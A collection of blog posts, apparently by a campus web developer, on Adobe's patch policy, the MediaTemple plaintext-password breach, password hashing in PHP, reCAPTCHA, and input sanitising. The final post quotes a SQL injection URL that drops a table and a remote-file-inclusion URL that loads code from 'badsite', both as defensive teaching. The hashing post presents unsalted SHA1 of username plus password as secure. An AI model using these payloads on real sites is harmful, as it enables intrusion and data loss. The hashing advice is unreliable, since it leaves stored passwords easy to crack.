So I was disheartened this past week when Adobe announced they had found a security issue in Photoshop CS5.5. The good news: they let everyone know about. The bad news: they wanted people to pay to upgrade at CS6 in order to fix the flaw, which is basically unheard of. From the security bulletin:

Adobe has released Adobe Photoshop CS6 (paid upgrade), which addresses these vulnerabilities. We are in the process of resolving these vulnerabilities in Adobe Photoshop CS5.x, and will update this Security Bulletin once the patch is available.

I could understand if this was a $0.99 app. Photoshop and the Creative Suite is an expensive piece of software. It’s worth every penny, but it’s an expensive upgrade, especially considering that CS5 came out in April, 2011.

The web, unsurprisingly, lost its collective mind about Adobe not issuing a patch for CS5, a product it still claims to support. I saw many tweets, posts and tumbles about it last night and this morning.

Now comes word that Adobe is changing its position and will update CS5 with a patch at an undetermined time. From their blog:

We are in the process of resolving the vulnerabilities addressed in these Security Bulletins in Adobe Illustrator CS5.x, Adobe Photoshop CS5.x (12.x) and Adobe Flash Professional CS5.x, and will update the respective Security Bulletins once the patches are available.

The good news is that Adobe has seen the error of its ways and will issue a patch. What I wonder is how such a decision was made in the first place. If there has been a security patch for any type of software, operating system or not, it’s always been patched. Heck, even Microsoft says it will issue security patches and other fixes for Windows XP until 2014, and it came out in 2001.

How far up the chain of command did this idea go, and why didn’t someone along the way say “hey, people are going to freak out about this”? Now that we’re firmly in the social age, a company such as Adobe must realize that the word of something like this can spread around the globe in literally seconds.

tl/dr; Adobe will patch Photoshop, but at what cost to its image and reputation?

As we rollout WordPress to our campus users, I find myself needing to generate passwords for all sorts of accounts – not to mention needing passwords for the various services we use.

I’ve found a few websites over the years that I’ve used, but they’re often slow and littered with ads, which is a waste because when I’m coming to a site to get a password, chances are I’m jumping right back over to whatever app I’m working in, not clicking on your Google ads. No offense.

So this weekend I spent an hour and made my own. I wanted something that would give me a password quickly with just a few options.

With my Password Maker, you can select 7, 8 or 9 character passwords. If you want an even more secure password, you can also get one that includes symbols.

And that’s all it does.

Too many times I’ve written apps that seem to spiral out of control as I add more and more things to them. This time – it’s a single serving site that just generates random passwords.

Try it out and let me know what you think.

Let’s flash back and get a bit of a primer on passwords and password storage:

“…when storing passwords for your app, you have a many options. You could skip all security and store your users’ passwords in plain text in MySQL. Bad idea.”

This site is hosted at MediaTemple, and for the last few months since I migrated from Dreamhost to MT, I’ve had no problems or issues. Then, last Wednesday night they sent me an email saying I should change my account manager password as my account had seen some strange activity. Never an email you want to get. It said:

Dear Valued Customer,

This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.

Even though I was on my way to bed at the time, I logged back on and set off to figure it out.

My fist step was to FTP into my machine and check all the WordPress blogs I run from my (gs) service. It looked ok, and I eventually did find an injection in a static site (not WordPress.) Kind of odd, but not out of the ordinary.

Here’s where things get interesting.

I checked Twitter’s search and I quickly found I wasn’t the only one getting security notices from MediaTemple. Many people were and were understandably upset.

As the day wore on yesterday, news came out that MediaTemple was storing user passwords in plain, clear text in their databases. Seriously. Their database was compromised, which in turn compromised many, many customer accounts, including mine. MediaTemple had this to say:

“Clear Text” is a method of storing passwords in a database so that they are human readable. This preference was made to provide customers a convenient way of managing access to their services, e.g. connecting a PHP app to MySQL. The “clear text” method can be less-secure than methods involving “encryption”, where passwords are not human-readable. This is less convenient for customers, but adds a layer of security. Properly secured databases can store passwords using either method, with the information kept private. However, if a database gets compromised, the encryption method is the only way to keep the information secure. (mt) Media Temple has now changed to the encryption method for customers, which now breaks some AccountCenter functionality; however, it is more secure and ultimately what our customers now want.

The interesting phrase there is “what our customers now want.” Of course they want this after they’ve all been hacked. Securely storing passwords should have been happening from day number one. Always. No exceptions.

So, MT is doing damage control and to their credit have been on Twitter since this all started, but the damage is done and the customer relationships have been strained.

There are lessons here to be learned, not just by web developers but by anyone that uses a website that stores a username and password, which is pretty much all of them.

1. Don’t store passwords in clear text. Ever. There are a myriad of ways to encrypt and store passwords. Go and read this blog post for specific methods.

2. When a password needs reset, use email and a unique token to reset the password. Email the user and make them click on a link to verify its them.

3. If you are a user, and you are using a site that will show you your password in a “my account” area or in their administrative control panel means they are not storing your password securely. If you have credit card information stored there, good luck.

4. Use strong passwords. password is not a strong password. This is a strong password:

B;8(,4$n#

That was generated by this online strong password generator. I use it when creating any type of accounts, especially for my campus users. This could be antyhing ranging from MySQL to WordPress user accounts.

Want to get even crazier? Use an ultra secure password. Check out this one I randomly generated:

|[<;0Rw|t>Ir[Qh|?E|M]K#JPjz?`wIY_H1K=?fs}Cb@(5$PeP4h"F)%4P9I?3i

Passwords like that I prefer for servers and other very sensitive information. Want to generate one like that? Use this site. I now have a 63 character login for my MediaTemple account, just to be safe.

5. If you are a MediaTemple (gs) customer, and you haven’t yet checked out your sites, I’d highly recommend you do so now.

Additional Reading about the MediaTemple events:

• Michael Torbert
• DigWP
• Jeffrey Barke

That area now presents security information about the site you are visiting. Firefox is calling it the Site Identification Button, and it’s taking the old padlock icon to the next level. No longer will you be able to just see if the site you are visiting is secure, you’ll be able to learn more about who the site owner is. Identity will be shown via three icons. If you see a red icon, leave the site immediately.

The gray button says that the site doesn’t give out any identity information. The blue button shows the site you are visiting is encrypted and the domain has been verified, but the actual owner of the domain has not been identified. A green button shows the site is encrypted and the site has fully verified ownership.

I used this tool on one of my secure domains and here’s what it showed:

As you can see, we haven’t (yet) put an Extended Validation Certificate into place for our site. This will complete the identity process and ensure site visitors we are who we say we are.

This extra certificate isn’t just for Firefox. If you have this extra certificate in place, users will also see a green address bar in Internet Explorer.

These new EVC’s are available from a variety of vendors and it will be interesting to see how fast they are adopted and what their use rate will be in higher education. Dria.org has more about these certificates and the new security features of Firefox.

Why did we do this? Mostly, we did it because everyone always wanted a form and my group had to build them all. We had been using the ancient FormMail.pl but each receipient had to be approved and each form hand-coded with required fields. I wanted users to be able to create forms, have the results emailed to them as well as saved in a database, and manage those forms, all without having to get the web team involved.

I know, web forms aren’t sexy. Not in the least, but they’re a critical part of how people communicate with us on our sites. Since it’s launch, FormBuilder (original name, I know) has really made an impact across campus. Forms are all uniform in terms of style and layout. This was a huge problem, as everyone, myself included, was building forms differently. Offices on campus can create a form in just a few minutes, email the address or post it on the web and start getting responses in minutes. These offices have seem a dramatic improvement in student responses and program attendance.

So FormBuilder’s been chugging along with no problems, until recently when it’s been getting hammered with spam. Not all forms are getting hit, just a lucky few. They are receving, seriously, hundreds of submissions a day. Luckily, it’s mostly gibberish and not pr0n spam, but still, it’s annoying for my users and it’s using my resources up. Not cool.

I wrestled for a long time with how to stop the spam. I thought about adding some kind of question that would be appended to each form, such as “What is 2+2,” or something to that effect. I thought about using code like Bad Behavior, but I don’t know if that would be easily defeated.

In the end, I decided to implement the dreaded CAPTCHA.

I looked at code to generate my own and do all the processing on my server. I struggled with getting them to be readable and getting them to fit in with the look and feel of our forms. After running into so many problems, I decided to use the reCAPTCHA service.

reCaptcha was developed by Carnegie Mellon University, and, in addition to reducing spam, the project helps digitize books from the Internet Archive. In my eyes, that’s a win-win. ReCaptcha allows users to reload the images if they are tough to read, and they also allow for users to hear a series of numbers that they enter instead of words. Listen to the numbers sometime, it’s a little creepy.

ReCaptcha is being used on a great deal of large websites, including Twitter, StumbleUpon and Ticketmaster, to name but a few. I’m sure you’ve seen the red reCaptcha boxes as you’ve surfed the web.

Implementing reCaptcha was painless. They offer libraries in a variety of languages and detailed instructions. I used the PHP code and it’s worked perfectly. What really drew me to the service is the fact that you can really customize the look and feel of the captcha to match your color scheme.

Here’s a standard reCaptcha box:

Here’s an example from one of our FormBuilder powered forms:

Earlier this week, we rolled this out on all FormBuilder-powered forms. It was smooth and other then a call to our computing help desk by a user who feared we’d been hacked, we haven’t heard any issues from people filling out forms or from our campus users.

Thus far, the spamming has stopped and only legitimate form entries are getting through. Of course, it will only be a matter of time until hackers beat ReCaptcha, and the whole cat and mouse game will start again.

Before I get going too far, I should mention that when I say storing passwords, what we’re really doing is storing a hash of the user’s password. When we authenticate a user, we run the password they supply through whatever algorithm we’re using to encrypt and hash their input and we compare the result to what we’re storing in our database.

That being said, when storing passwords for your app, you have a many options. You could skip all security and store your users’ passwords in plain text in MySQL. Bad idea. You could use MySQL’s default password functionality. This is okay, but you could do things better.

For the rest of this post, let’s create a password variable, $pass. For all the examples, let’s set the value of $pass as “highedwebtech1″.

Let’s look at what’s generated when we pass the $pass variable through MD5.

echo md5($pass);

That gives us the following hash:

4fc86b20556f29a3291b5fb296189eff

That’s not a terrible way to store a password, but there’s been research for the last couple of years that its possible to create MD5 collisions – where you generate lists and lists of MD5 hashes and look for matches. For example, this site will look up your MD5 hashes and check for collisions.

Well, we could use SHA1 to encode the password. Let’s run our $pass variable through SHA1:

echo sha1($pass);

That gives this:

1f046ee5bdacf0842729674034e5d1cf8c3ce512

Getting better. But – SHA1′s been broken as well. The chances of your user accounts being brute-forced by someone running SHA1 collisions is very minute, but let’s keep searching for something better.

Let’s do some crazy hashing and mashing. Let’s look at PHP’s crypt function.

crypt() will return an encrypted string using the standard Unix DES-based encryption algorithm or alternative algorithms that may be available on the system.

If we run the following code:

echo crypt($pass);

We get the following:

12sO.2eqklceI

crypt() also allows you to add a salt. Wikipedia describes a salt thusly: “a salt comprises random bits that are used as one of the inputs to a key derivation function.” This basically means we can specify some characters that will become part of our encryption scheme.

Let’s create a $salt variable. We’ll give $salt a value of, for now, “yummysalt”.

Let’s run crypt() again but this time we’ll specify a specific salt. The system I’m running this on in these examples is using standard DES as its encryption.

echo crypt($pass,$salt);

This returns:

yupJSdhPX0e66

Standard DES puts the first 2 characters of the salt at the beginning of the hash of the password. If we use “yummysalt” as our salt (footnote – DES only uses the first 2 characters, we could have just made our salt “yu”), every time we run our password through crypt we will get the same value. The number of characters in your salt can depend on your system settings, including values in PHP and your server software.

Specifying a salt isn’t a bad thing to do, but you’ve got to now store that salt somewhere in your code. If your system is compromised, and with your salt, cracking passwords may be a little easier for your user passwords to be cracked.

If you’re sensing a theme here, you’d be right. DES is also susceptible to cracking, even when using a salt.

So, what’s a way to do it thats secure and has little chance of getting cracked? There are a lot of different ways to answer that question, but here’s some ideas I had, along with some help from a friend, who’s a security professional at a major research institution.

He recommends using something like the following, which is based on the username and password responses we receive from the user.

$username = "user1";
$password = "highedwebtech1";

echo sha1($username.$password);

In the code above, we’re creating a hash from a concatenation of the username and the password they enter. But, Mike, you say, a few paragraphs earlier you said SHA1 wasn’t the best choice. In this case though, we’re not hashing just the password. We’re hashing an entirely new value, in this case, user1highedwebtech1. That would be much more difficult to crack, especially using a brute-force attack. Here’s the hash value we get back from this function:

033e1ce0e67fce92ddf5cdf437d15b9967f4b307

It’s long, and difficult to crack. When it comes time for a user to log in, checking against what they enter is easy. Just put the two values together, run it through SHA1 and then compare that to the value we originally stored in the database.

It should also go without saying that you should never email a user’s password to them. Either send them a replacement, temporary password or make them reset it altogether by emailing them a link with a hashed value they need to reproduce. But that’s a whole other post.

Want to learn more about doing this stuff in PHP? I’d recommend reading about about the mcrypt module. It offers a great deal of additional functionality.

Happy hashing!

What tips or tricks do you use when it comes to handling passwords? I’d like to learn how you deal with this issue.

At our institution, the server is under the management of our technical services team. They manage backups, patches, updates, and monitor the health of the server. I’m responsible for the site, and any software that I install on there, like custom web apps that our team develops. Our team in Public Affairs manages content, design and everything public facing.

I have root access to our web server. I imagine that’s uncommon but I have a good working relationship with our technical team and the necessary technical knowledge to know what I’m doing and not break stuff.

What’s your setup – and what kind of access do you have?

YSlow
Yslow is a Firebug addition that helps you examine the technical nature of your site. It gives you a “performance report card,” and recommends actions that you can take to improve the performance of your site. This includes things like making less HTTP requests, using a content delivery network and adding “expires” headers to your files. It’s been a great resource for me in trying to eke out every bit of performance I can from my sites. That second or two of improvement will probably never be noticed by my users, but it makes me feel better knowing I’m doing all I can to give them information quickly.

S3Fox
S3Fox gives you access to Amazon S3 directly in Firefox, so you can work quickly to add files, delete files, or change permissions. Sometimes you just want to make a quick fix and you don’t want to open another program, like an FTP client, to do this.

NoScript
The Noscript plugin gives you protection against javascript and flash if you desire it. It’s well developed and easy to use. You can whitelist certain domains you trust, and access info about the scripts running on any page by clicking the icon in the status bar.

Extension for Amazon EC2
EC2UI is only important to you if you regularly run EC2 instances and need an easy way to control them.

Same goes for PHP code, except in reverse. Imagine your web application is the dishwashing station at Burger King. We want to wash, rinse and sanitize any dishes we get, but in this case we’re talking about any inputs we get from a user. In the case of our web app, we want to make sure we sanitize that input before we go and wash, rinse, query, insert and update our data. We certainly don’t want to process compromised inputs, and we certainly do not want to write and store that code in our databases.

I was reviewing some code written by one of our students and saw this:

$catid = $_GET['cat'];
$select = mysql_query("SELECT * FROM categories WHERE id = ".$catid);

Friends, that’s bad. That’s a SQL injection waiting to happen. It looks innocent enough – we’re taking in whatever input string included in the variable $_GET['cat'] and then querying our database in the next line. It would be very easy for someone to try something nefarious (and trust me, they will and do, often).

It would be very easy for someone to see we’re passing a string and attach some extra stuff to it. Our code is assuming we’re passing an integer. In a perfect world, this request: http://server.com/page.php?cat=15 is what we want. Now imagine someone did this: http://server.com/page.php?cat=1;drop%20table;. That would be bad. When our page was loaded and the PHP executed, this line would run:

$select = mysql_query("SELECT * FROM categories WHERE id = 2;drop table;);

And before you know it, all the data stored in your table would be gone. Dropping a table is kid stuff for hackers out there. They want more – they want to use that injection to break into your server and cause havoc. They will exploit code like I showed about and pass your server a URL like this:

http://www.server.com/page.php?id=http://badsite/.html/body?

That little snippet of code will try to load a text file full of bad PHP commands what will compromise your machine. I see our server getting hammered with requests like that all day long. I bet if you dig around your Apache logs you will as well.

Want to see what one of these kinds of scripts can do? Look at this raw code and see what it can probe on your server. It’s scary. I’m only putting that code here to show you what people want to do to your server.

There are some things you absolutely must do when accepting user inputs or writing that data to a database. It’s not a case of maybe or someday, there are things that if you are not doing them now, you need to be doing. Close Facebook and get in your code.

There are lots of ways to accomplish this. Here are a few ideas to get you started.

One easy way to is check everything for type. In the example above, we were expecting the $_GET['cat'] to be an integer. This little bit of PHP code makes sure we’re getting the right data type.

if(is_numeric($_GET['id'])==TRUE){
}else{
echo "Forbidden!";
die();
}

That snippet will check your input to ensure its an integer using the ‘is_numeric’ function built into PHP. If it is, the if statement ends as we’re not doing any additional processing and we can skip the ELSE part. If it’s not an integer, and someone tried to throw some text in that field, we tell them a message, in this case “FORBIDDEN” and we execute the die command, which stops all further processing on this page immediately. If you want to, you can do some logging at this point to catch the IP address of the offending party and further block them, but if you’re just starting to sanitize your code, it’s better to block them and worry about the rest later.

PHP 5 has a new function called filter that will also do some processing and sanitizing for you. Using one of the functions like FILTER_SANITIZE_STRING will strip HTML tags from a string for you automatically. Here’s a quick example:

$input = "HighEdWebTech<a href='link.php'> is nice";
$output = filter_var($input, FILTER_SANITIZE_STRING);

This will make the $output variable contain just the text “HighEdWebTech is nice” now. All the potentially bad stuff is gone.

Finally, you may want to check out OWASP’s sanitize.inc.php code. It’s an include you can drop into your application’s code and it does a lot of the heavy lifting for you when it comes to sanitizing your inputs. You can read more and see some implementation here. This class comes with pre-set types of sanitizing that you can do, including settings for PARANOID, SQL, SYSTEM, HTML, INT, FLOAT, LDAP, and UTF8. A setting like SQL will make sure everything is cool and everything is quoted correctly. This is often a target of SQL injections. By using the INT and FLOAT options, you can accomplish what our code above does, but you don’t have to write new code every time, you can just pass your variable through the sanitize filter.

In the end, you must check your inputs and outputs to make sure everything is cool before you use them. When I was just starting out learning PHP, I made similar mistakes, and my code was compromised. Now, you can never be too paranoid about your applications and the steps you take to secure them. Someday, I’ll show you how to write safe queries with mysql_real_escape_string.